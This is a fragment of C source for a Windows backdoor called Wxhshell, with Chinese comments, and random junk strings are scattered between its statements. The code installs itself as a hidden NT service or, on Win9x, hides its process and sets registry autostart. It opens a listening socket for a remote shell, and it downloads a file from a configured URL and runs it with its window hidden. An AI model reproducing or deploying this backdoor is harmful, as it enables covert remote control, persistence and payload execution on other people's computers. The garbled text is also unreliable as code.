nQ f%%En5e+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ump:dL5{ if(!hProcess) return 0; ?;7>`F6ld f7AJSHe if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yW,#&>]# | gl{PLLe[} CloseHandle(hProcess); 73Zs/ Nm :lC%>X hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2o3k=hKS if(hProcess==NULL) return 0; GQAg
ex)D ^|12~d_.T HMODULE hMod; Y%cA2V\#m char procName[255]; 7Z :l;%]K unsigned long cbNeeded; 8[P6c;\ l8Iy03H if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7(iRz hQLx"R$ CloseHandle(hProcess); f6A['<%o F"? *@L if(strstr(procName,"services")) return 1; // 以服务启动 ?BZ`mrH^ X1QZEl return 0; // 注册表启动 $W]guG } 48*pKbbM4 QL!+.y% // 主模块 ;xC~{O int StartWxhshell(LPSTR lpCmdLine) 6D]G*gwk[ { /faP]J) SOCKET wsl; :v ~q BOOL val=TRUE; ~l(tl[ int port=0; B9Tztg
struct sockaddr_in door; BJ2W}R oa|*-nw if(wscfg.ws_autoins) Install(); weadY,-H8 | Dpfh port=atoi(lpCmdLine); p%tg->#L 90k|u'ikOp if(port<=0) port=wscfg.ws_port; FQRcZpv; nk.Eq[08 WSADATA data; f3B8,> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4T\/wyq0 4gt "dfy+ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iz5wUyeg setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W%QtJB1) door.sin_family = AF_INET; ~TIZumGB door.sin_addr.s_addr = inet_addr("127.0.0.1"); TmH13N] door.sin_port = htons(port); yp'>+cLa A>@epCD if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l+qtA~V&2 closesocket(wsl); <T[ui return 1; V!tBipX% } zgTi Az qnV9TeU) if(listen(wsl,2) == INVALID_SOCKET) { <R%6L& closesocket(wsl); \>azY
g return 1; y{P9k8v!z } !sWBj'[> Wxhshell(wsl); 2{:
J1'pC WSACleanup(); )f&]H} Y}z?I%zL return 0; Oj\mkg OEi9
)I } !Hj)S](F |^!@ // 以NT服务方式启动 5W-M8dc6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ="E
V@H?U { (ZsR=:9( DWORD status = 0; HKw4}FC* DWORD specificError = 0xfffffff; >7Q7H#~w %*}f<k{6 serviceStatus.dwServiceType = SERVICE_WIN32; <7) 6*u serviceStatus.dwCurrentState = SERVICE_START_PENDING; Lxrn#Z eM serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >?FCv7qN serviceStatus.dwWin32ExitCode = 0; 8 z7,W3b serviceStatus.dwServiceSpecificExitCode = 0; P#oV ^ serviceStatus.dwCheckPoint = 0; $o H,:x?} serviceStatus.dwWaitHint = 0; @b({QM| Q(7l<z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _3>zi.J/ if (hServiceStatusHandle==0) return; 2a-hf|b1 =LA@E&,j status = GetLastError(); #E)]7!_XG if (status!=NO_ERROR) fdHxrH>* { y5h[^K3 serviceStatus.dwCurrentState = SERVICE_STOPPED; *&MkkI# serviceStatus.dwCheckPoint = 0; LRs;>O serviceStatus.dwWaitHint = 0; >*CK@"o serviceStatus.dwWin32ExitCode = status; F
x8)jBB_ serviceStatus.dwServiceSpecificExitCode = specificError; ^2@~AD`&h SetServiceStatus(hServiceStatusHandle, &serviceStatus); (Ad!hyE( return; o|C{ s } 1ki"UF/ x*V<afLY[ serviceStatus.dwCurrentState = SERVICE_RUNNING; ! .}{
f;Ls serviceStatus.dwCheckPoint = 0; NDGBvb serviceStatus.dwWaitHint = 0; )Cfrqe1^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +2O_LPV$, } rNp#5[e Xpwom' // 处理NT服务事件,比如:启动、停止 MqH~L?~}| VOID WINAPI NTServiceHandler(DWORD fdwControl) 2wvDC@ { eQj/)@B:V switch(fdwControl) F
tjm@:X { r U5'hK
case SERVICE_CONTROL_STOP: t,nB`g? serviceStatus.dwWin32ExitCode = 0; xc?<:h" serviceStatus.dwCurrentState = SERVICE_STOPPED; h (2k;M^s serviceStatus.dwCheckPoint = 0; < Ifnf6~ serviceStatus.dwWaitHint = 0; b*fflJ { ![%,pip2/& SetServiceStatus(hServiceStatusHandle, &serviceStatus); b"9,DQB=i } }FVX5/.' return; {Wo7=aR case SERVICE_CONTROL_PAUSE: 1fZ:^|\ serviceStatus.dwCurrentState = SERVICE_PAUSED; 1YL5 ![T break; IrC=9%pd$R case SERVICE_CONTROL_CONTINUE: L;`t%1 serviceStatus.dwCurrentState = SERVICE_RUNNING; k6S<46}h| break; 5Bo)j_Qo case SERVICE_CONTROL_INTERROGATE: Z]d]RL&r break; qI@_ }; q#Vf2U55m SetServiceStatus(hServiceStatusHandle, &serviceStatus); O!tD1^O!1} } :_ox8xS4 3s2M$3r)6 // 标准应用程序主函数 ,pzCJ@5 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *Cw2 h { SGm?"esEt 4uA^/]ygo // 获取操作系统版本 (=9&"UH OsIsNt=GetOsVer(); c2/HY8ttRD GetModuleFileName(NULL,ExeFile,MAX_PATH); Y2EN!{YU ZbUf|#GTB // 从命令行安装 `m^OnH if(strpbrk(lpCmdLine,"iI")) Install(); qZe"'"3M *2F}e4v // 下载执行文件 zdE^v{}| if(wscfg.ws_downexe) { /+msrrpD if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |e\%pfZ WinExec(wscfg.ws_filenam,SW_HIDE); 6Y^o8R } {J$aA6t:"T eHR<(8c'f if(!OsIsNt) { pJ[Q.QxU // 如果时win9x,隐藏进程并且设置为注册表启动 J7xmf,76w HideProc(); 1S.~-K*X StartWxhshell(lpCmdLine); .2xkf@OP }
2X_ef else lDeWs%n if(StartFromService()) )RFeF!(" // 以服务方式启动 Sqs`E[G* StartServiceCtrlDispatcher(DispatchTable); x#D=?/~/Kv else -}@9lhS, // 普通方式启动 {W]jVh p StartWxhshell(lpCmdLine); AK
HH{_ s? Kn,6Y return 0; }T,uw8?f! }
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